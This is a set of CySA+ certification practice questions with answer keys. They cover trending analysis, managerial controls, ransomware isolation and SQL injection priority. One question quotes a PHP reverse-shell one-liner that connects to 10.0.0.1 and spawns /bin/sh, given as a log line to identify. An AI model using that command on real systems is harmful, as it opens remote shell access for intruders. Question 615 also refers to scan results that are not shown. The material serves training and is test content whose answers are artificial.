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CompTIA Cybersecurity Analyst (CySA+) Certification Exam Sample
Questions (Q611-Q616):
NEW QUESTION # 611 
Executives want to compare certain metrics from the most recent and last reporting periods to determine whether the metrics are
increasing or decreasing. Which of the following would provide the necessary information to satisfy this request?

A. Impact assessment
B. Count level
C. Severity score
D. Trending analysis

Answer: D

NEW QUESTION # 612 
Which of the following BEST explains the function of a managerial control?

A. To ensure tactical design, selection of technology to protect data, logical access reviews, and the implementation of audit
trails
B. To create data classification, risk assessments, security control reviews, and contingency planning
C. To guide the development of training, education, security awareness programs, and system maintenance
D. To help design and implement the security planning, program development, and maintenance of the security life cycle

Answer: B

Explanation:
Managerial controls are procedural mechanisms that focus on the mechanics of the risk management process. Examples of
administrative controls include periodic risk assessments, security planning exercises, and the incorporation of security into the
organization's change management, service acquisition, and project management practices.

NEW QUESTION # 613 
While reviewing web server logs, a security analyst discovers the following suspicious line:
php -r '$socket=fsockopen("10.0.0.1", 1234); passthru ("/bin/sh -i
<&3 >&3 2>&3");'
Which of the following is being attempted?

A. Server-side request forgery
B. Command injection
C. Reverse shell
D. Remote file inclusion

Answer: C

NEW QUESTION # 614 
During an incident, some IoCs of possible ransomware contamination were found in a group of servers in a segment of the network.
Which of the following steps should be taken next?

A. Isolation
B. Remediation
C. Reimaging
D. Preservation

Answer: A
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NEW QUESTION # 615 
A security analyst reviews the following Arachni scan results for a web application that stores PII data:
Which of the following should be remediated first?

A. Code injection
B. SQL injection
C. RFI
D. XSS

Answer: B

Explanation:
SQL injection should be remediated first, as it is a high-severity vulnerability that can allow an attacker to execute arbitrary SQL
commands on the database server and access, modify, or delete sensitive data, including PII. According to the Arachni scan results,
there are two instances of SQL injection and three instances of blind SQL injection (two timing attacks and one differential analysis)
in the web application. These vulnerabilities indicate that the web application does not properly validate or sanitize the user input
before passing it to the database server, and thus exposes the database to malicious queries. SQL injection can have serious
consequences for the confidentiality, integrity, and availability of the data and the system, and can also lead to further attacks, such as
privilege escalation, data exfiltration, or remote code execution. Therefore, SQL injection should be the highest priority for
remediation, and the web application should implement input validation, parameterized queries, and least privilege principle to
prevent SQL injection attacks.

NEW QUESTION # 616
......
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